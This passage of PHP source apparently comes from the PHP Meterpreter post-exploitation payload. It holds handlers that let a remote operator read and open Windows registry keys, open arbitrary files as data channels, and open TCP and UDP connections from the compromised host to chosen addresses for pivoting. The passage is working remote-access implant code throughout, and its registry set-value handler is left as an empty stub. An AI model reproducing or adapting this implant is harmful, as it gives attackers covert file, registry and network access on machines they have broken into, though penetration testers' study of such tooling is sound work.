global $registry_handles;
$registry_handles[] = $key;
return count($registry_handles) - 1;
}
}
if (!function_exists('deregister_registry_key')) {
function deregister_registry_key($id) {
global $registry_handles;
$registry_handles[$id] = null;
}
}
if (!function_exists('stdapi_registry_create_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_create_key');
}
function stdapi_registry_create_key($req, &$pkt) {
my_print("doing stdapi_registry_create_key");
if (is_windows() and is_callable('reg_open_key')) {
$root_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY);
$base_tlv = packet_get_tlv($req, TLV_TYPE_BASE_KEY);
$perm_tlv = packet_get_tlv($req, TLV_TYPE_PERMISSION);
dump_array($root_tlv);
dump_array($base_tlv);
# For some reason the php constants for registry root keys do not have
# the high bit set and are 1 less than the normal Windows constants, so
# fix it here.
$root = ($root_tlv['value'] & ~0x80000000) + 1;
$base = $base_tlv['value'];
my_print("reg opening '$root', '$base'");
$key = reg_open_key($root, $base);
if (!$key) {
my_print("reg open failed: $key");
return ERROR_FAILURE;
}
$key_id = register_registry_key($key);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_HKEY, $key_id));
return ERROR_SUCCESS;
} else {
return ERROR_FAILURE;
}
}
}
if (!function_exists('stdapi_registry_close_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_close_key');
}
function stdapi_registry_close_key($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
my_print("doing stdapi_registry_close_key");
$key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY);
$key_id = $key_id_tlv['value'];
reg_close_key($registry_handles[$key_id]);
deregister_registry_key($key_id);
return ERROR_SUCCESS;
} else {
return ERROR_FAILURE;
}
}
}
if (!function_exists('stdapi_registry_query_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_query_value');
}
function stdapi_registry_query_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
my_print("doing stdapi_registry_query_value");
$key_id_tlv = packet_get_tlv($req, TLV_TYPE_HKEY);
$key_id = $key_id_tlv['value'];
$name_tlv = packet_get_tlv($req, TLV_TYPE_VALUE_NAME);
$name = $name_tlv['value'];
#my_print("Looking up stored key handle $key_id");
#dump_array($registry_handles, "Reg handles");
$key = $registry_handles[$key_id];
if (!$key) {
return ERROR_FAILURE;
}
$data = reg_get_value($key, $name);
my_print("Found data for $key\\$name : $data, ". is_int($data));
# There doesn't appear to be an API to get the type, all we can do is
# infer based on what the value looks like. =(
if (is_int($data)) {
$type = REG_DWORD;
$data = pack("N", (int)$data);
} else {
$type = REG_SZ;
# The api strips the null for us, so put it back
$data = $data ."\x00";
}
packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_DATA, $data));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_TYPE, $type));
} else {
return ERROR_FAILURE;
}
}
}
if (!function_exists('stdapi_registry_set_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_set_value');
}
function stdapi_registry_set_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
my_print("doing stdapi_registry_set_value");
$key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY);
$key_id = $key_id_tlv['value'];
} else {
return ERROR_FAILURE;
}
}
}
# END STDAPI
##
# Channel Helper Functions
##
if (!function_exists('channel_create_stdapi_fs_file')) {
function channel_create_stdapi_fs_file($req, &$pkt) {
$fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE);
#my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}");
if (!$mode_tlv) {
$mode_tlv = array('value' => 'rb');
}
$fd = @fopen($fpath_tlv['value'], $mode_tlv['value']);
if (is_resource($fd)) {
register_stream($fd);
$id = register_channel($fd);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
return ERROR_SUCCESS;
} else {
my_print("Failed to open");
}
return ERROR_FAILURE;
}
}
if (!function_exists('channel_create_stdapi_net_tcp_client')) {
function channel_create_stdapi_net_tcp_client($req, &$pkt) {
my_print("creating tcp client");
$peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
$peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
$retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES);
if ($retries_tlv['value']) {
$retries = $retries_tlv['value'];
} else {
$retries = 1;
}
for ($i = 0; $i < $retries; $i++) {
$sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']);
if ($sock) {
break;
}
}
if (!$sock) {
return ERROR_CONNECTION_ERROR;
}
#
# If we got here, the connection worked, respond with the new channel ID
#
$id = register_channel($sock);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
add_reader($sock);
return ERROR_SUCCESS;
}
}
if (!function_exists('channel_create_stdapi_net_udp_client')) {
function channel_create_stdapi_net_udp_client($req, &$pkt) {
my_print("creating udp client");
$peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
$peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
# We can't actually do anything with local_host and local_port because PHP
# doesn't let us specify these values in any of the exposed socket API
# functions.
#$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
#$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
$sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp');
my_print("UDP channel on {$sock}");
if (!$sock) {
return ERROR_CONNECTION_ERROR;
}
#
# If we got here, the connection worked, respond with the new channel ID
#
$id = register_channel($sock);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
add_reader($sock);
return ERROR_SUCCESS;
}
}